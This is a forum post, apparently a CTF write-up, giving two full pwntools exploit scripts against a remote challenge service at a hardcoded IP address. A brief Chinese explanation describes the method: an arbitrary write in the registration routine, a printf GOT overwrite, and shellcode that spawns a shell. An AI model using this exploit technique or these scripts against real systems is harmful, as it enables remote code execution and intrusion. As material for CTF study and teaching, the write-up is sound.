首页
社区
课程
招聘
[讨论]解答
发表于: 2017-11-7 01:00 2805

[讨论]解答

2017-11-7 01:00
2805
照虎画猫,把dalao们第四题的代码抄来改改,现学现用,pwntools真是好东西。 
from pwn import *
  
context(os='linux', arch='amd64', log_level='debug')
context.terminal = '/bin/sh'
#p = process('./pwn')
p = remote("123.206.22.95", 8888)
  
def signin(name, passwd, character):
    p.recvuntil("==============================")
    p.recvuntil("==============================")
    p.sendline("2")
    p.recvuntil("input your username")
    p.sendline(str(name))
    p.recvuntil("input your password")
    p.sendline(str(passwd))
    p.recvuntil("input your character's name")
    p.sendline(str(character))
  
def login(name, passwd):
    p.recvuntil("==============================")
    p.recvuntil("==============================")
    p.sendline("1")
    p.recvuntil("Input your username:")
    p.sendline(str(name))
    p.recvuntil("Input your password:")
    p.sendline(str(passwd))
 
def cheat(content):
    p.recvuntil("#####################")
    p.recvuntil("0.exit")
    p.sendline("5")
    p.recvuntil("content:")
    p.sendline(str(content))
    p.recvuntil("#####################")
    p.recvuntil("0.exit")
    p.sendline("1")
 
name = p64(0x6050F0)
passwd = p64(0x0)
character = p64(0x0)
signin(name, passwd, character)
 
name = p64(0x605038)
passwd = p64(0x0)
character = p64(0x0)
signin(name, passwd, character)
 
name = p64(0x605020)
passwd = p64(0x0)
character = p64(0x0)
signin(name, passwd, character)
login(name, passwd)
payload = p64(0x9090909090909090)*3+asm(shellcraft.sh())
cheat(payload)
 
p.interactive()


大体思路:发现注册处在检查地址有效性时存在问题,将数据当做地址指针返回,导致可以任意地址写,结合cheat处的内存溢出,可以构造出攻击过程。 先注册三次,用前两次的用户名分别将printf函数和cheat的数据指针改写,最后用cheat将shellcode布进cheat的数据区,调用游戏内容的1号选项,将会触发printf函数,最终跑起shellcode。

尝试了一下,找到另一种做法:
from pwn import *
   
context(os='linux', arch='amd64', log_level='debug')
context.terminal = '/bin/sh'
#p = process('./pwn')
p = remote("123.206.22.95", 8888)
   
def signin(name, passwd, character):
    p.recvuntil("==============================")
    p.recvuntil("==============================")
    p.sendline("2")
    p.recvuntil("input your username")
    p.sendline(str(name))
    p.recvuntil("input your password")
    p.sendline(str(passwd))
    p.recvuntil("input your character's name")
    p.sendline(str(character))
   
def login(name, passwd):
    p.recvuntil("==============================")
    p.recvuntil("==============================")
    p.sendline("1")
    p.recvuntil("Input your username:")
    p.sendline(str(name))
    p.recvuntil("Input your password:")
    p.sendline(str(passwd))
  
def cheat1(name, content):
    p.recvuntil("#####################")
    p.recvuntil("0.exit")
    p.sendline("5")
    p.recvuntil("name:")
    p.sendline(str(content))
    p.recvuntil("content:")
    p.sendline(str(content))
    p.recvuntil("#####################")
    p.recvuntil("0.exit")
    p.sendline("0")

def cheat2(content):
    p.recvuntil("#####################")
    p.recvuntil("0.exit")
    p.sendline("5")
    p.recvuntil("content:")
    p.sendline(str(content))
    p.recvuntil("#####################")
    p.recvuntil("0.exit")
    p.sendline("1")
  
name = p64(0x605038)
passwd = p64(0x0)
character = p64(0x0)
signin(name, passwd, character)
login(name, passwd)
cheat1('test', 'test')

name = p64(0x605020)
passwd = p64(0x0)
character = p64(0x0)
signin(name, passwd, character)
login(name, passwd)
payload = p64(0x9090909090909090)*11+p64(0x604F98)+p64(0x9090909090909090)*2+asm(shellcraft.sh())
cheat2(payload)
  
p.interactive()

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 0
支持
分享
最新回复 (1)
雪    币: 3170
活跃值: (129)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
2
看不懂
2017-11-14 15:51
0
游客
登录 | 注册 方可回帖
返回
//